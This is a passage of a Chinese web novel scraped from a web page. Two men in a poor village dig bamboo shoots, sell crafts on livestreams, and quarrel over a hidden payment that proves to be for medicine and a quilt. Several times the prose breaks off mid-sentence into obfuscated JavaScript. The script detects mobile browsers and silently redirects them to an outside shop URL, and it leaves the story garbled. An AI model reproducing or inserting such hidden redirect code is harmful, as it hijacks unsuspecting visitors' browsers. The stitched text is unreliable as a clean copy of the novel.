一只红冠大公鸡正趴在他胸口,两只鸡眼死死盯着他。眼神里充满了委屈和愤怒。 蒋承骁吓得差点从炕上跳起来。 “卧槽!”他惊叫一声,手一松。 将军得了自由,连叫都没力气了,连滚带爬的跳下炕,迈着发软的鸡腿,摇摇晃晃钻出了房门。它这辈子都没受过这种委屈,被一个男人当抱枕搂了一宿。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299227|198618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 惊叫声吵醒了许知行。 许知行抬起头,眼睛里还带着血丝,眼下有乌青。他看着蒋承骁,声音有些沙哑:“醒了?” 蒋承骁看着许知行憔悴的样子,想骂人的话卡在了嗓子里。他注意到许知行还穿着昨晚那件湿了又干的衬衫,衣领歪着,头发也乱糟糟的。 “你……你守了一晚上?”蒋承骁的声音软了一点。 “不然呢?等着给你收尸?”许知行站起来,活动了下僵硬的脖子,“烧退了就起来,别赖在炕上。” 蒋承骁看着他走向厨房的背影,心里动了一下。这小子虽然嘴毒又抠门,但关键时刻还挺靠谱。他想找件衣服给许知行披上,结果低头一看,自己也光着膀子。 “许知行!我的衣服呢!”蒋承骁吼道。 “昨晚擦身,撕了。”许知行的声音从厨房传来。 蒋承骁脸一红,赶紧扯过床单裹住自己。他走出屋子,看见许知行正站在米缸前发呆。 “怎么了?早饭呢?”蒋承骁问。 许知行转过身,手里拿着空米勺。他把米缸倾斜过来给蒋承骁看,里面一粒米都没有了。 “断粮了。”许知行平静的说。 蒋承骁愣住了。他走到厨房角落,翻了翻昨晚的篮子,十个鸡蛋只剩下五个。 “吃鸡蛋不行吗?这不是还有剩的吗?”蒋承骁问道。 “鸡蛋是留着晚上吃的。”许知行拒绝得斩钉截铁。 “那将军呢?把它杀了。”蒋承骁指着院子里蹲在墙角怀疑鸡生的公鸡。 “它昨晚立了功,现在是保护动物。”许知行走出厨房。 那只公鸡看见蒋承骁出来,浑身羽毛猛的炸开,一头扎进鸡笼里,死活不肯出来。 “它这是咋了,干嘛这种姿势?”蒋承骁有点疑惑。 “应该是被你昨晚发疯当枕头抱了一宿,吓得不打鸣了。”许知行没忍住,嘴角上扬了一下。 蒋承骁:“……” 两个人站在院子里面面相觑。 “那现在怎么办?我现在饿得能吃下一头牛。”蒋承骁捂着肚子。 许知行没说话。他走到杂物间,从墙上摘下一把生锈的镰刀。他用手指试了试刀锋,眼神变得凌厉起来。 “上山。”许知行把镰刀别在腰后,“雨后山里有野货,搞点吃的回来。” “我也去。”蒋承骁赶紧跟上。 “你行吗?病号。” “少废话,我是主力。”蒋承骁随手捡起游标卡尺,“没我这个精密加工师,你连哪棵笋长的正都看不出来。” 许知行看了他一眼,没拒绝。 两人一前一后走出了老宅。 院子里,只有那只受尽屈辱的公鸡,缩在笼子里,对着阳光叹息。 村里的路还是泥泞,但空气非常清新。许知行提着一个背篓,蒋承骁裹着老头衫,手里拿着卡尺。 “许知行,你说山里有野猪吗?” “有。” “抓一只,我要吃红烧肉。” “先抓到再说吧,废品。” “你说谁是废品!老子是技术工!” 两人的声音渐行渐远,消失在后山的浓雾中。 8. 外面有狗了 雨后的山里冒着白雾,空气很湿。 许知行走在前面,背上背着背篓,腰后别着镰刀,手里提着一把短柄锄头。 蒋承骁跟在后面,手里攥着游标卡尺,脚上穿着许知行连夜赶工的草鞋。鞋底加了两层竹篾,比昨天的结实。 “慢点。”许知行头也不回的说。 “谁要你管。”蒋承骁嘴上不服软,但脚步放慢了。昨晚烧了一夜,腿有点发软。 走了二十分钟,到了后山的竹林深处。 雨后的竹林地面湿漉漉的,到处是落叶和断枝。许知行蹲下来,看了看地面。 “这边土鼓起来了,下面有笋。” 他举起锄头,对着鼓包旁边的泥土刨了两下。 咔嚓。锄头碰到了硬东西。 许知行伸手扒开泥土,露出一颗笋尖。他用力往外一拽,连根拔了出来。 “太小了。”蒋承骁在旁边摇头,用卡尺量了一下,“直径不到六厘米,这种规格上不了台面。” “能吃就行。” “不行。”蒋承骁一把抢过锄头,“你这挖法不对,看我的。” 许知行没拦他,退到一边看着。 蒋承骁拿着锄头,没急着动手。他在竹林里走了一圈,东看看西看看,蹲下来摸摸土,又站起来看看坡度。 “你在干什么?”许知行问。 “分析地形。”蒋承骁一本正经的说,“笋的生长跟坡度、光照、土壤含水量都有关系。你不能瞎挖,得找最好的办法。” “你又不是农学专业的。” “我不需要是。”蒋承骁指着左前方一片缓坡,“你看那块地,昨晚下雨,这个角度的坡,排水刚刚好。而且你看那几根老竹子,根系那么发达,地下的竹鞭肯定密。” 他走到缓坡前,用脚踩了踩地面,土质松软,踩下去有弹性。 蒋承骁的眼睛亮了,“这下面必有大货!” 许知行靠在竹子上,没说话。 蒋承骁举起锄头,调整了一下角度。 他一锄头下去,泥土翻开。 又一锄头。 第三锄头的时候,锄头碰到了硬东西,传来沉闷的声响。 蒋承骁扔下锄头,蹲下来扒土。 泥土被扒开,露出了一颗冬笋。 笋很粗,外面包着层层笋衣。 “看到没?”蒋承骁站起来,扬起下巴,脸上全是得意,“这就叫专业。” 许知行走过去,看了一眼笋。 确实大。 然后他弯腰,从泥土里捡起一小截东西。 是笋尖。被蒋承骁第一锄头削断的。 “笋尖断了。”许知行把碎笋举到蒋承骁面前,“扣五块钱。” 蒋承骁的脸僵了一下。 “这不影响食用!” “影响卖相。完整的笋能卖三块一斤,断了的只能卖两块。”许知行把碎笋扔进背篓,“你刚才那一锄头,损失五块钱。” “你……”蒋承骁指着他,气得说不出话。 “继续挖。”许知行把锄头递回去,“这次别削笋尖。” 蒋承骁咬着牙接过锄头,蹲在地上研究了半天角度,下一锄头小心了很多。 接下来的一个小时,蒋承骁越挖越上瘾。 许知行只需要跟在后面,把他挖出来的笋捡进背篓。 背篓装满了,两人又在林子边上摘了些野果。酸枣和野葡萄,不多,但够吃。 蒋承骁往嘴里扔了一颗酸枣,整张脸皱成一团。 “酸死了!” “没熟。”许知行看了一眼。 “你不早说!”蒋承骁吐掉枣核,舌头伸在外面缓了半天。 下山的路比上山更难走。 雨后的山路全是烂泥和腐叶,踩上去又滑又软。许知行走在前面,步子稳,一手扶着旁边的树干。 蒋承骁跟在后面,背篓里装着一筐笋,少说有三十斤。 “我来提。”许知行回头说。 “不用。”蒋承骁挺直腰板,单手提着背篓,另一只手插在口袋里,“这点重量算什么。” 他要在许知行面前展示核心力量。 昨晚发烧被人照顾了一整夜,还抱着公鸡睡觉,他觉得自己的面子已经丢光了。现在必须找回来。 “看着,什么叫稳如泰山。”蒋承骁大步往前走。 他确实走的很稳。 稳了大概五步。 第六步的时候,右脚踩到了湿滑的落叶。 草鞋底的竹篾在腐叶上没有摩擦力。 蒋承骁的脚往前一滑,整个人重心后移,背篓里的笋哗啦啦往外滚。 “操!” 他本能的往前扑,想抓住东西稳住身体。 许知行正好在前面转头看他。 蒋承骁一百五十斤的体重,加上三十斤笋的惯性,结结实实的撞了上去。 砰! 两个人一起摔进了路边的草丛里。 笋从背篓里滚出来,骨碌碌的往山坡下滚。 草丛又湿又软,许知行被压在下面,后背陷进泥里,头边是一丛野草。 蒋承骁趴在他身上,双手撑在许知行头两侧。 两个人的脸隔的很近。 近到蒋承骁能看清许知行睫毛上沾着的泥点。 许知行的脸上还是没什么表情,但眼睛里映着头顶透过树叶的阳光,瞳孔很亮。 脸颊上沾着泥土,衬衫领口歪了,露出一截锁骨。 蒋承骁的心脏猛的跳了一下。 不是被吓的那种跳,是漏了一拍的那种。 胸腔里咯噔了一下。 他愣了半秒。 “起来。”许知行的声音从下面传上来,很平静。 蒋承骁猛的撑起身体,手忙脚乱的从许知行身上翻下来。 他的耳根一直红到了脖子。 “这个路那个摩擦什么……摩擦系数太低!”蒋承骁站起来,拍着身上的草叶和泥,声音又硬又快,“是路的问题!跟我没关系!” 许知行从草丛里坐起来,拍了拍后背的泥。 “你和笋一起,一百八十斤压上来,我的脊椎差点报废。”许知行站起来,活动了一下脖子,“赔我医药费。” “明明是路滑!”蒋承骁不看他,弯腰去捡滚下去的笋,“你修路了吗?没修路怪我?” “这是山,没有路。” “没有路就不该走!” 许知行看着蒋承骁蹲在那里捡笋,耳朵通红。 他没多说什么,也蹲下来捡笋。 两人把滚出去的笋捡回来,装进背篓。 下山的路上,蒋承骁走在前面,许知行走在后面。 蒋承骁一路上没回头,步子迈的又大又快。 许知行跟在后面,看着他僵硬的背影和通红的耳尖,嘴角动了一下,没说什么。 回到老宅。 许知行把笋洗干净,挑出品相好的留着卖,剩下的切片,用盐腌上,准备晒成笋干。 蒋承骁坐在院子里,帮忙把笋片摊在竹匾上晒。他一边摆笋片,一边用卡尺量间距,确保每片之间的距离均匀,通风一致。 下午,许知行开了直播。 标题:后山野生笋干,纯手工晒制。 镜头对准竹匾上排列的笋片,阳光照在上面,颜色金黄。 许知行坐在镜头前,手里拿着一片笋干,简单介绍。 “雨后现挖的,没打药,没泡水。晒两天就能吃。” 直播间陆续进人。 【主播好久没播了,以为你跑路了。】 【笋干?看着挺好的。】 【复合肥小哥呢?他今天不在吗?】 话音刚落,镜头边缘出现了熟悉的身影。 蒋承骁戴着口罩,穿着老头衫,坐在角落里。 口罩是许知行要求他戴的。今天早上许知行特意交代了一句:“直播的时候把脸遮住,别露。” 蒋承骁问为什么。 许知行说:“你长的太凶,容易吓跑客户。” 蒋承骁不信,但还是戴了。 现在他坐在镜头边缘,百无聊赖的翻着手工编织大全。 【来了来了!复合肥小哥!】 【怎么戴上了口罩啊,我想看脸!】 许知行继续介绍笋干。 “这批笋都是今天早上现挖的,每一颗都是完整的。”他顿了一下,看了蒋承骁一眼,“除了被某人削断笋尖的那几颗。” 蒋承骁猛的抬头,眼神凶狠的瞪过来。 弹幕笑疯了。 【哈哈哈哈复合肥小哥被点名了!】 【哎呀~看小哥胳膊上的肌肉就知道他很有劲啊!削断笋尖也是人之常情嘛~】 有人问笋干怎么吃。 许知行正要开口,蒋承骁站了起来。 他走到镜头前,拿起一片还没完全晒干的鲜笋片。 “看好了。”蒋承骁对着镜头,声音低沉,“这是纯天然、零添加、有机生态的高山野笋。生长在海拔——”他看了许知行一眼。 “三百米。”许知行小声提醒。 “海拔三百米的原始竹林深处。”蒋承骁继续,“每一颗都是人工精选,经过严格的尺寸筛选和品质把控。” 【他又开始了!】 【上次把草鞋吹成高定,这次要把笋干吹成什么?】 蒋承骁举起笋。 “口说无凭。”他把口罩往下拉了一点,露出下巴和嘴唇,“我现场试吃。” 许知行在旁边皱了下眉:“那是生的。” 蒋承骁已经把笋片塞进嘴里了。 他咬了一口。 生笋又硬又涩,还带着泥土的腥气。 蒋承骁的咀嚼动作慢了下来。他的眉毛拧在一起,腮帮子的肌肉在口罩下鼓动着。 弹幕安静了两秒。 蒋承骁咽了下去。 “口感清脆。”他面不改色的说,“回甘明显。带点……土味。纯天然的土味。这说明它没有经过化学处理,保留了最原始的风味。” 他把剩下的半片笋举到镜头前。 “你们在超市买的真空包装的笋干,全是泡过药水的。吃进去的都是添加剂。但我们这个,你看,”他指着笋片上沾着的泥土,“连土都是原装的。” 【我信了,我真的信了。】 【这哥们是不是当过传销头子?为什么每次他说完我都想买???】 【买!321上链接!冲着他生吃那一口我也得买。】 【主播,你这助理真的不考虑来我们公司当带货主播吗?太会夸了!我们就需要这样的人才!】 许知行看了一眼后台,在线人数突破两千了。 他挂上了链接。 笋干,五斤一份,五十块包邮。 下单的人比他预想的多。 一个小时的直播,卖出去十份。 五百块。 加上之前存的,账上有一千七百二十块了。 关掉直播。 蒋承骁灌了三大碗水,才把嘴里生笋的涩味冲淡。 “五百块。”他伸出手,“分我一半。” “你欠我一千八百二十。” “我刚才为了推销生吃了笋!这是敬业!要加绩效!” “绩效就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299228|198618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是今晚多给你一个鸡蛋。” 蒋承骁气的在院子里转圈。 许知行没理他。他坐在桌前,拿出手机,打开银行APP。 他盯着屏幕看了几秒,然后输入了数字:500。 转账。 收款人是陌生的账号,名字只显示了姓:孙。 备注栏里,许知行打了两个字:医药费。 转账成功。 账户余额一下子从一千七百二十变成了一千二百二十。 许知行关掉手机,把它揣进口袋。 他没注意到,蒋承骁正好从他身后走过来倒水。 蒋承骁的视线扫过手机屏幕的瞬间,看到了转账页面。 五百块。 医药费。 转给了一个姓孙的人。 蒋承骁端着水碗的手顿了一下。 他没吭声,端着水回到了角落里坐下。 晚上。 许知行做了笋片炒蛋,用了四个鸡蛋。蒋承骁那份多了一个荷包蛋,算是绩效。 两人坐在桌前吃饭。 蒋承骁吃的很快,但心思不在饭上。他时不时的瞟许知行一眼,又低下头扒饭。 “你看什么?”许知行问。 “没看什么。”蒋承骁夹了一筷子笋片,“这笋还行,比生吃好多了。” 许知行嗯了一声。 “许知行。”蒋承骁放下筷子,装作不经意的问,“你认识姓孙的人吗?” 许知行夹菜的动作停了一下。 “为什么问这个?” “随便问问。”蒋承骁耸肩,“你在这村里也没什么朋友,就想知道你是不是认识什么人。” “不认识。”许知行继续吃饭。 蒋承骁盯着他的侧脸看了三秒。 “那你今天下午转的那五百块是给谁的?” 筷子碰到碗沿,发出一声响。 许知行转过头,看着蒋承骁。 “你偷看我手机?” “我没偷看。”蒋承骁理直气壮,“你自己大大方方的转账,屏幕朝着我,我又不是瞎子。” “那是我的事。” “五百块是我们一起赚的!”蒋承骁一拍桌子,“我生吃了笋!我的嘴现在还是涩的!你转给一个不认识的人?还写着医药费?你在外面有什么人了?” 许知行放下筷子,面无表情的看着他。 “这句话什么意思?” “什么什么意思?”蒋承骁被他这一问搞的有点心虚,声音却更大了,“就是字面意思!你是不是背着我在外面——在外面——” 他卡壳了。 在外面什么? 蒋承骁发现自己找不到合适的词来形容那种感觉。 他只是看到许知行把钱转给了陌生人,心里就堵的慌。说不上来为什么,就是不舒服。 “在外面有狗了?”蒋承骁最后憋出一句。 许知行愣了一下。 院子里,大黑从狗窝里探出头,疑惑的看了过来。 “我说的不是你。”蒋承骁冲大黑摆摆手。 大黑缩回了狗窝。 许知行盯着蒋承骁看了五秒钟。 “那五百块,”许知行的声音很平静,“是还债。” “还什么债?” “跟你没关系。” “怎么没关系!那是我的绩效!我的血汗钱!”蒋承骁站起来,“你要是有什么事,你说出来。我们是合伙人,你不能瞒着我。” “我们不是合伙人。”许知行也站起来,“你是债务人,我是债权人。我怎么花钱,不需要跟你汇报。” 两人隔着桌子对峙。 蒋承骁嘴张了张,又合上了。 许知行说的没错。这些钱确实是他的。蒋承骁欠着他的债,没有立场管他怎么花钱。 但心里就是不痛快。 “行。”蒋承骁一把抓起碗,转身走向院子。 “碗别摔了。”许知行在后面说。 “关你屁事!” 蒋承骁蹲在井边洗碗,洗的很用力,碗在手里转来转去,水花溅了一身。 他一边洗一边想。 医药费。 许知行被他从许家赶出来,一分钱没有。他不可能在这个村子里欠下医药费。 除非,是以前的事。 或者,是替别人还的。 蒋承骁把碗洗干净,放在石台上。 他回头看了一眼亮着灯的屋子。许知行的影子映在窗户上,低头在写东西。 蒋承骁做了一个决定。 明天,跟踪他。 他要搞清楚,那个姓孙的人是谁。 那五百块钱,到底给了谁。 这可是他辛辛苦苦赚来的! 蒋承骁回到屋里,躺在炕上,用破床单蒙住头。 许知行坐在桌前,翻开本子。 铅笔在纸上沙沙的响。 【收入:500元。支出:500元。结余:1220元。】 他顿了一下,又在下面写了一行。 【债务人:成削。今日表现:良。推销能力出色,但情绪管理能力差。疑似开始多管闲事。需警惕。】 写完,他合上本子。 抬头看了一眼里屋。蒋承骁裹成一团,背对着他,一动不动。 但许知行知道他没睡着。 因为蒋承骁睡着的时候会打呼噜,现在屋里安静的只有虫鸣。 许知行吹灭油灯。 黑暗里,两个人都没说话。 窗外,将军在鸡笼里小声咯了一下,大黑在狗窝里翻了个身。 夜很长。 9. 乌龙事件 连续三天早上醒来都看不见许知行,蒋承骁终于坐不住了。 他蹲在院门口,假装用砂纸打磨木板。将军在院子里踱步,大黑趴在狗窝里打盹。 半个小时后,许知行从村东头的方向走了回来。 “你去哪了?”蒋承骁头也不抬。 “出去转转。” “转什么?往哪转?跟谁转?” 许知行看了他一眼:“你是查户口的?” “我是你的合伙人。” “债务人。” “无所谓!”蒋承骁站起来,手里的砂纸捏成一团,“你这三天每天早上都偷偷的出去,回来又不说去干什么。你是不是又去给那个姓孙的送钱了?” “没有。” “那你去干什么?” “跟你没关系。” 许知行走进厨房,开始淘米。 蒋承骁站在院子里,盯着许知行的背影,下颌线绷得死紧。 他又不傻。 村东头那个方向,只有三个地方——老张家的杂货铺、村委会,还有村卫生所。 杂货铺不可能,许知行买东西从来不去那,嫌贵。村委会更不可能,村长看见许知行就要他修东西。 那就只剩卫生所了。 蒋承骁脑子转得飞快。 卫生所。医药费。姓孙。 村卫生所的大夫姓什么来着? 蒋承骁想了想,前几天发烧的时候,许知行提过一嘴,说路被泥石流堵了去不了村医那里。 村医。 他蹲在墙角想了五分钟,越想越不对劲。 许知行一个被赶出家门的少爷,到了这种穷乡僻壤,第一个认识的人就是村医?还偷偷摸摸的去?还转了五百块? 蒋承骁的脑子里浮现出一幅画面:昏暗的卫生所里,许知行坐在诊台前,对面是一个穿白大褂的年轻男人,两人相视而笑。 “不可能。”蒋承骁摇了摇头,把画面甩掉。 但心口像是堵了块石头,闷得他想砸点什么。 第四天早上。 蒋承骁没有睡懒觉。 他天不亮就醒了,比将军打鸣还早。他假装翻了个身,用眼角的余光盯着许知行。 许知行果然在收拾东西。 他从柜子里摸出一个小布包揣进裤兜,然后轻手轻脚的走出了门。 蒋承骁数了五秒,一骨碌爬起来。 他光着脚跳下炕,套上草鞋,抓起墙边的口罩戴上,跟了出去。 清晨的雾很大,视线只有十几米。蒋承骁弓着腰,躲在路边的草丛后面,跟着许知行的背影往前走。 许知行走得不快,但很警觉。走到村口拐弯处时,他突然停下脚步,回头看了一眼。 蒋承骁整个人缩进一丛灌木里。 灌木上有刺。 好几根刺扎进了他的胳膊。蒋承骁咬着牙,一动不动。 许知行看了两秒,转身继续走。 蒋承骁从灌木里钻出来,胳膊上多了五六个红点,疼得他直抽气。但他顾不上,继续跟。 许知行拐进了一条小路。 路的尽头是一栋白墙红顶的平房,门口挂着一块歪歪扭扭的牌子——“刘家湾村卫生所”。 蒋承骁看到那牌子,脚步顿住了。 果然是卫生所。 他躲在卫生所对面的一棵歪脖子树后面,探出半个脑袋。 许知行推门进去了。 蒋承骁等了三分钟,实在忍不住,猫着腰摸到了卫生所的窗户底下。窗户关着,但玻璃上有裂缝,能听到里面的声音。 “来了啊。”一个年轻男人的声音,听着挺高兴。 “嗯。”许知行的声音。 “你来得越来越早了,这么想见我?” 蒋承骁的拳头握紧了。 “东西到了没有?”许知行问。 “就到了一样。”那个男人说,“我给你留着呢。” “行。先把到了的给我。” “你看你,每次来都这么急。”那个男人笑着说,“我还想跟你多聊几句呢。” 蒋承骁差点把窗户砸了。 他从窗户下面站起来,吸了一大口气,然后一脚踹开了卫生所的门。 “砰!” 门板撞在墙上,发出巨大的声响。 蒋承骁撑着门框,胸口因为急促的呼吸而大幅起伏,一双眼睛死死盯着屋里。 “许知行!我就知道——” 他的声音卡住了。 屋里的画面跟他想象的完全不一样。 许知行站在药柜前面,手里拿着一个小纸盒,正在看上面的说明书。 对面站着一个胖乎乎的中年男人,留着小胡子,穿着白大褂,手里端着一杯茶,被蒋承骁踹门的声音吓得茶水洒了一身。 “你你你!”胖村医指着蒋承骁,结巴了,“你是谁?要干什么?” 许知行转过头,看着门口气势汹汹的蒋承骁,眉头皱了起来。 “你跟着我来的?” 蒋承骁愣了两秒,视线在胖村医和许知行之间来回扫。 这个胖子? 就这? 蒋承骁脑子一片空白。他张了张嘴,发现自己之前脑补的那些画面,跟眼前这位大腹便便、下巴有好几层的中年男人完全对不上。 “你来这干什么?”蒋承骁的语气弱了,但还是嘴硬。 “买药。”许知行把手里的纸盒举起来给他看。 蒋承骁看了一眼盒子上的字。 祛疤膏。 “祛疤膏?”蒋承骁愣了,“你哪有疤?” 许知行没回答。 蒋承骁盯着那管药膏,突然想起了什么。 “等一下。”他的眼睛眯了起来,“你之前转给那个姓孙的五百块,就为了买这一管祛疤膏?” 许知行把药膏揣进口袋,没接话。 蒋承骁一把拽住他的胳膊,凑过去看了一眼纸盒侧面的价格标签。 “一管祛疤膏你花五百?”蒋承骁的声音拔高了,“你疯了吧?镇上药店最贵的祛疤膏也就几十块钱!你被人骗了还是脑子进水了?” 许知行把胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他走出厨房,蹲下来,把笋干捡回竹匾上。然后走到那几个轮胎旁边,敲了敲。 “橡胶还没老化,弹性不错。”许知行自言自语。 “你又要回收垃圾?”蒋承骁没好气的说。 “做个沙发。” “什么?” “轮胎沙发。”许知行拍了拍轮胎,“把稻草塞进去做填充,外面包上布,就是一个坐垫。你不是嫌那把藤椅硌屁股吗?” 蒋承骁看了看那几个黑乎乎的轮胎,又看了看许知行。 “你确定那玩意儿能坐人?” “试试就知道。”许知行搬起一个轮胎,“来吧,开直播。” 10.身子娇贵 半小时后。 手机架在砖头上,镜头对准了院子中间的空地。 许知行坐在地上,面前摆着三个废轮胎、一大捆稻草、几块旧衣服的布料,还有针线和剪刀。 直播标题:废轮胎改造懒人沙发。 “今天做个沙发。”许知行对着镜头说,“材料成本:零。” 他拿起其中一个轮胎,先用清水冲洗,再用那把生锈的刮刀把轮胎表面的泥垢刮干净。 弹幕开始进人。 【来了来了!归零又开播了。】 【轮胎做沙发?这也行?】 【复合肥小哥呢!我是来看他的!】 镜头右边,蒋承骁正蹲在地上,拿着砂纸打磨轮胎的切割边缘。他今天也戴着口罩。 蒋承骁打磨的动作很细致,每一个毛刺都不放过。 “你不是生气了吗?”许知行头也不抬地问,“怎么还帮忙?” “我没帮忙。”蒋承骁磨得更用力了,“我是在做品控。任何产品不能有毛刺,这是底线。万一有人坐上去被扎伤了,那是产品质量事故,你赔得起吗?” 许知行没说话,嘴角动了一下。 【哈哈哈他又来了!品控工程师上线!】 【复合肥小哥,嘴硬心软实锤了。】 【这打磨的手法,看着就专业。虽然磨的是轮胎。】 许知行把清洗好的轮胎立起来,用柴刀沿着胎壁切开一个口子。然后把稻草一把一把地塞进轮胎内部的空腔里,塞得很紧实。 蒋承骁在旁边看着,忍不住说:“稻草塞太松了,坐上去会塌。” “你来?” “让开。” 蒋承骁把许知行推到一边,自己蹲下来,开始往轮胎里塞稻草。他塞得又快又狠,每塞一把都要用拳头捶实。 “密度不够就没有支撑力。”蒋承骁一边捶一边说,“你做东西就是太糙,只管外面好看,里面全是糊弄。” “你说谁糊弄?” “说你。”蒋承骁头也不抬。 许知行不跟他吵,拿起针线开始缝布套。那几块旧衣服的布料被他裁成合适的形状,颜色不统一,但拼在一起倒有种拼布艺术的味道。 蒋承骁把三个轮胎都塞满了稻草,又用麻绳把它们固定在一起,两个做底座,一个竖起来做靠背。 许知行把缝好的布套套在上面,拉紧,缝死。 一个小时后。 一个轮胎沙发出现在院子中间。 底座矮矮的,靠背微微后仰,布套的颜色是深蓝和灰白的拼色,看起来居然有点像那种北欧风的设计师家具。 弹幕已经炸了。 【卧槽这是轮胎?看起来像宜家的新品!】 【主播的审美绝了,这配色太高级了。】 【能坐吗?结实吗?让助理小哥试试!】 许知行站起来,拍了拍手上的灰。 “试试。”他看着蒋承骁。 蒋承骁绕着沙发走了一圈,用手按了按靠背,又踢了踢底座。 “底座稳定性还行。”他点评道,“靠背角度大概一百一十度,不太标准,人体工学的最佳角度是一百到一百一十之间。” “坐不坐?” 蒋承骁犹豫了一秒,转身一屁股坐了进去。 轮胎沙发发出一声闷响,稳稳地接住了他。 稻草填充的坐面有弹性,不软不硬,屁股陷进去一点,刚刚好。靠背也很舒服,腰那里有个弧度,刚好顶住腰椎。 蒋承骁靠在上面,两条长腿伸直,整个人放松下来。 他不想起来了。 “怎么样?”许知行问。 蒋承骁闭着眼,脸上的嫌弃表情维持了三秒钟,然后绷不住了。嘴角往下压了压,还是翘了起来。 “勉强符合人体工学。”他说。 弹幕开始疯狂刷屏。 【好好好,让我来中译中,这句话翻译一下就是:真他妈舒服!】 【这沙发我要了!多少钱!】 许知行正要开口报价,院子外面传来脚步声。 “许哥!许哥在吗?” 一个年轻人的声音。 许知行走到门口。 一个十七八岁的小伙子气喘吁吁地跑过来,手里提着一个布袋子。 “你是?”许知行问。 “我是卫生所大夫的徒弟!”小伙子擦了把汗,把布袋递过来,“许哥,你之前订的消炎药和被子到了!之前那批货只到了祛疤膏,这两样刚刚才从镇上送过来的!” 许知行伸手想接。 小伙子嗓门大,接着就喊了出来:“你不是说你家那位身子娇贵,身上有伤口怕发炎,晚上还怕着凉嘛!师父跟我说,让东西到了赶紧送来!我还多跑了两里路呢!” 院子里安静了。 手机还在直播。 蒋承骁坐在轮胎沙发里,姿势没变,但整个人僵住了。 你家那位。 身子娇贵。 怕发炎。 怕着凉。 早上在卫生所那些没想通的事,一瞬间全串起来了。 五百块的定金。 许知行说的“东西没到齐”。 不是一管祛疤膏。 从头到尾,许知行订的就是三样东西——祛疤膏、消炎药、一床新棉被。 祛疤膏先到了,他一声不吭拿回来。消炎药和被子还在路上,他也一声不吭地等着。 五百块钱,他一个人默不作声地安排好了所有事。 蒋承骁慢慢地转过头,看向门口的许知行。 许知行面无表情地接过布袋,对小伙子说了声谢谢。 小伙子挥挥手跑了。 许知行转身走回院子里,看到蒋承骁正盯着他,眼神复杂。 “看什么?” 蒋承骁没有先问“身子娇贵”的事。 他沉默了两秒,声音有点闷:“所以早上那五百块,不是只买了一管祛疤膏。” “嗯。” “消炎药、祛疤膏,还有被子。” “嗯。” 蒋承骁攥了一下拳头,松开,又攥紧。 “你为什么不说?” 他的声音不大,但跟平时不一样。 许知行看了他一眼:“说了又能怎样?” 蒋承骁坐在沙发里,低着头,看着自己的手。 那双手上全是伤,旧伤叠着新伤,今天早上钻灌木丛又添了几道新鲜的红印。 他来这个破村子这么久,除了一条发霉的旧床单,什么都没有。冷的时候只能把所有衣服压在身上,伤口从来不处理,扛过去就算了。 他以为这是正常的。 他以为所有人都是这么过的。 但许知行不这么想。 许知行觉得他的伤口不能不管,他的疤不能留着不治,他晚上不能冻着。 许知行觉得这些事情比什么都重要,重要到值得花五百块——他们全部家当的三分之一去解决。 而且连一句多余的话都不说。 “你还跟人家大夫说我身子娇贵?”蒋承骁终于把话题拐到了这上面,声音闷闷的。 “你不娇贵?”许知行把布袋放在桌上,“发烧四十度抱着公鸡哭,半夜冻醒了缩成一团还嘴硬说不冷,蚊子咬一口能骂半小时。不叫身子娇贵叫什么?” 蒋承骁张了张嘴,没说话。 许知行从布袋里拿出一盒消炎药和一床叠得整整齐齐的棉被。 被子是新的,蓝色格子花纹,摸起来厚实柔软。 “消炎药配着祛疤膏一起用,早晚各一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许知行一道一道地涂过去。手指从肩胛骨滑到腰侧,经过那个被刀伤切断的纹身时,停了一下。 “想起什么了吗?”许知行问。 “没有。”蒋承骁的声音很轻,“什么都想不起来。” 许知行把药膏盖好,拍了拍他的肩膀。 “想不起来就别想了。” 蒋承骁把衣服放下来,转过身,看着许知行。 他张了张嘴。 “那个——” 院子外面突然传来了汽车引擎的声音。 两人同时愣住了。 这个村子在山沟沟里,路烂得连拖拉机都费劲,平时根本不会有外面的车进来。 蒋承骁下意识地往后退了一步,手摸向了放在桌上的游标卡尺。 许知行走到院门口。 一辆黑色的轿车停在门外。 车很干净,跟这个泥巴糊的村子格格不入。 车窗缓缓地摇下来。 一个戴着大墨镜的女人从车窗里探出头。 她皮肤很白,嘴唇涂着暗红色的口红,耳朵上戴着一颗很大的珍珠耳环。 她嫌弃地看了一眼破败的院墙、歪斜的木门、院子里蹲着的将军和趴着的大黑,皱起了眉。 “请问,”女人的声音很冷,透着一股不耐烦,“这里是不是住着一个叫许知行的?” 11.势利眼保姆的羞辱 许知行站在院门口,看着那辆黑色轿车。 